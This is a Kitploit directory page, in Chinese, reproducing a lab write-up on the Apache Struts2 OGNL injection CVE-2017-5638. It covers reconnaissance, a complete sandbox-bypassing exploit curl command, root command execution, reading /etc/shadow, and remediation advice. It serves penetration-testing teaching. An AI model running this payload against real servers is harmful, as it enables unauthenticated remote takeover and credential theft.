Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-5638 — 动手实操实验室,演示Apache Struts2 OGNL注入(CVE-2017-5638),逐步讲解系统分析、漏洞利用、沙箱绕过及后渗透技术,用于渗透测试教学。 | Kitploit
工具/GitHubGitHub/dungsocool/cve-2017-5638
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubdungsocool/cve-2017-5638

CVE-2017-5638

动手实操实验室,演示Apache Struts2 OGNL注入(CVE-2017-5638),逐步讲解系统分析、漏洞利用、沙箱绕过及后渗透技术,用于渗透测试教学。

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

实验1 — Apache Struts2 OGNL注入 (CVE-2017-5638 / S2-045)

一、系统分析

攻击面分析

image.png

启动容器后,Struts2日志显示应用程序加载了熟悉的配置文件,如struts-default.xml、struts-plugin.xml和struts.xml。这确认了所使用的框架是Apache Struts2。

image.png

一个值得注意的点出现在这一行:

Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)

这一行表明Struts2正在选择Jakarta多部分解析器(多部分上传数据解析器)来处理multipart/form-data类型的请求,这在文件上传功能中很常见。

在分析 S2-045 / CVE-2017-5638 时,这是一个关键信号,因为此漏洞与Struts2处理多部分请求时的错误处理过程相关,特别是当Content-Type头无效时。

然而,这段日志仅证明应用程序使用了Struts2和Jakarta风格的多部分处理器。这尚不足以断定应用程序确实存在漏洞。要确认,我们需要确定struts2-core的版本,并与受影响版本范围进行比较。

image.png

image.png

image.png

当使用curl访问Web服务时,响应头显示应用程序运行在Jetty 9.2.11.v20150529上。此信息有助于识别运行应用程序的环境(Servlet容器),但不能直接揭示Struts2的版本。

Web界面返回Struts2 Showcase - Fileupload sample页面,其中包含一个上传表单,使用:

method="POST" enctype="multipart/form-data" action="/upload.action"

这与之前显示Struts2选择jakarta作为MultiPartRequest的日志一致:应用程序确实具有通过multipart/form-data的文件上传处理流程。

⇒ 思考:端点/upload.action使用multipart/form-data,与Struts2通过Jakarta MultiPartRequest处理的机制相符。这是一个增强怀疑的迹象,指向S2-045/CVE-2017-5638,但我们需要确定Struts2版本后才能断定应用程序存在漏洞。接下来,还需要更深入地验证struts2-core的版本以及应用程序在接收到无效Content-Type时如何处理错误。

确定Struts2版本

在确定应用程序具有使用multipart/form-data的上传端点之后,下一步分析是找到Struts2的实际版本。这一点至关重要,因为之前的迹象仅表明应用程序具有与多部分上传相关的机制,尚不足以断定其存在漏洞。

image.png

确定提供端点8001的正确容器后,直接在容器project1-lab01-1内部检查库文件。

结果找到了struts2-core文件:

/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar

从该路径可以确定应用程序使用的是Apache Struts2 2.3.30。

image.png

将其与已发布的CVE-2017-5638 / S2-045漏洞进行比较,该漏洞影响许多旧版Struts2,包括补丁前的2.3.x分支。结合:

框架: Apache Struts2 版本: 2.3.30 多部分解析器: Jakarta 端点: /upload.action Content-Type: multipart/form-data

分析条件链变得更加清晰:

`Struts2版本2.3.30 < 版本2.3.32

  • Jakarta多部分解析器 + 上传端点 → 该应用程序处于S2-045/CVE-2017-5638的强烈怀疑范围内`

然而,从分析角度来看,存在漏洞版本仅是可能受影响的证据。要在行为层面确认,我们需要发送一个异常的多部分请求并观察响应/日志,看是否进入Struts2多部分解析器的错误处理分支。

⇒ 思考:此时不仅是识别框架,版本2.3.30确认了应用程序位于S2-045/CVE-2017-5638的受影响版本范围内。剩下的步骤是验证多部分错误处理行为,以完成证据链。

验证有效的多部分处理流程

image.png

我们需要检查发送到/upload.action的请求是否确实经过Struts2的多部分处理机制。这里,我使用带有-F选项的curl命令来测试处理机制。返回的结果分解为几个部分:

`

  • ContentType: text/plain
  • FileName: test.txt
  • File: /usr/src/target/tmp/upload_...
  • Caption:test
  • `

    ⇒ 一个有效的请求证明/upload.action确实经过多部分上传机制,因为curl -F生成multipart/form-data,服务器能够解析请求的每个部分。

    验证多部分请求失败时的反应

    image.png

    image.png

    在发送一个声明Content-Type为multipart/form-data但body不符合multipart结构的请求后,服务器仍然返回HTTP 200 OK。然而,ContentType、FileName、File和Caption字段均为空。检查Docker日志,注意到没有boundary(多部分中各部分之间的分隔字符串),客户端仍然收到HTTP 200 OK。但Struts2实际上在处理请求时遇到了错误。

    这证明了证据链:

    错误的多部分请求 → Struts2包装请求 → 调用MultiPartRequestWrapper → JakartaMultiPartRequest解析请求 → 由于缺少boundary导致FileUploadException

    ⇒ 匹配与S2-045/CVE-2017-5638相关的组件。因此,条件链更加完整:存在漏洞的版本、Jakarta解析器、上传端点,以及错误的请求进入正确的多部分处理分支。

    S2-045/CVE-2017-5638的关键点不仅仅在于多部分解析器失败。解析器错误只是初始触发条件。危险之处在于随后Struts2如何处理错误消息。在受影响的Struts2版本中,当多部分解析器遇到错误时,错误内容可以进入Struts2的消息处理机制。如果攻击者控制了出现在错误中的部分数据,特别是来自Content-Type头的数据,那么这些数据可以被Struts2通过OGNL(对象图导航语言 - Struts/XWork的表达式语言)评估。

    思考:

    异常Content-Type → Jakarta多部分解析器解析错误 → Struts2生成/记录错误消息 → 错误消息经过表达式评估机制 → 如果存在恶意OGNL,可能导致RCE


    二、利用

    确定目标使用Struts2,且由于Struts2使用OGNL作为其表达式引擎,搜索PayloadsAllTheThings显示,将new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes())注入到Struts2中会失败,因为Struts2具有沙箱,阻止对java.lang.Runtime的访问。

    image.png

    ⇒ 组装找到的payload进入Struts2利用结构:

    触发Jakarta解析器

    root@kitploit:~
    (#_="multipart/form-data")
    

    绕过Struts2沙箱(必需)

    root@kitploit:~
    (#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
    

    命令执行Payload

    root@kitploit:~
    (new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
    

    然而,在实际执行payload时,我们遇到两个问题:

    1. Java版本错误: 实验室服务器运行Jetty 2015(Java 8),而readAllBytes()函数仅从Java 9开始支持。如果坚持使用,OGNL会静默失败并返回空白HTML页面。通过改用org.apache.commons.io库中的IOUtils类(Struts2中始终可用)来读取流,解决了此问题。
    2. 输出过滤: 即使命令已执行,直接将结果嵌入HTML流中可能会破坏结构或被过滤。通过直接访问HttpServletResponse,使用getWriter().println()先打印输出,然后调用flush()和close()立即终止连接,解决了此问题。这强制服务器返回干净的命令执行结果,绕过了所有无用的HTML界面。

    ⇒ 重新组装上述修改,我们得到完整的curl命令(使用ProcessBuilder + IOUtils + Response Writer):

    root@kitploit:~
    curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
    -H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
    -d "foo=bar"
    

    image.png

    利用成功!!!

    尽管我们以root权限实现了RCE,但每个命令必须通过单独的HTTP请求发送,提供了一个非交互式环境。Reverse Shell可以建立持久会话,直接与目标系统交互,就像坐在机器前一样,有助于信息收集和更深入的后利用。


    三、后利用

    权限验证

    利用成功后,验证系统上的权限:

    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    

    → 应用程序以root权限运行 — 无需权限提升。

    敏感数据收集

    读取/etc/shadow文件(包含密码哈希的文件,只有root有权访问):

    image.png

    → 证明攻击者对系统文件拥有完全的读写访问权限,包括最敏感的文件。

    关于Reverse Shell的说明

    建立反向shell未成功,因为Windows上的Docker容器使用内部网络(bridge/NAT);容器无法回连到本地局域网中的攻击者机器(Kali)。然而,这并不影响漏洞的严重性——攻击者已实现root权限的RCE,并可以在系统上执行任何命令。


    四、风险评估与修复

    风险评估

    此系统上的OGNL注入漏洞(CVE-2017-5638 / S2-045)被评估为最高风险级别:

    修复建议

    为了完全修复此漏洞,系统管理和开发团队应实施以下措施(按优先级排序):

    紧急优先(短期):

    1. 升级Apache Struts2: 立即将框架更新到安全版本(≥ 2.3.32 或 ≥ 2.5.10.1)。这是强制措施,因为漏洞存在于JakartaMultiPartRequest库的核心实现中。
    2. 降低执行权限: 永远不要以root用户运行Web应用程序(Jetty/Tomcat)。应创建一个专用用户(例如struts_user),赋予运行应用程序所需的最小权限。

    高优先级(长期及纵深防御):

    1. 部署WAF(Web应用防火墙): 配置WAF规则,检测并阻止在Content-Type头中包含OGNL payload(例如%{...}、${...}、ognl、java.lang.ProcessBuilder)的HTTP请求。
    2. 更换多部分解析器: 如果应用程序不需要使用Jakarta解析器,可考虑在struts.xml配置文件(struts.multipart.parser=cos)中切换到其他库,例如Pell或COS。
    3. 限制容器网络: 除非必要,不要将容器放在共享桥接网络上。配置防火墙规则,阻止容器主动发起出站连接(出站流量)到互联网,以防止反向shell。
    下载工具
    标准评估详情
    CVSS评分10.0(严重)绝对最高分。
    身份验证不需要攻击者无需账户或登录即可利用。
    复杂度非常低只需发送单个HTTP请求(POST),在Content-Type头中包含payload。
    获得的权限root以最高权限级别完全控制应用程序/容器,能够读/写任何文件(如/etc/shadow)。
    横向移动高从被攻陷的容器,攻击者可以扫描内部网络(LAN)并攻击其他容器或主机服务器。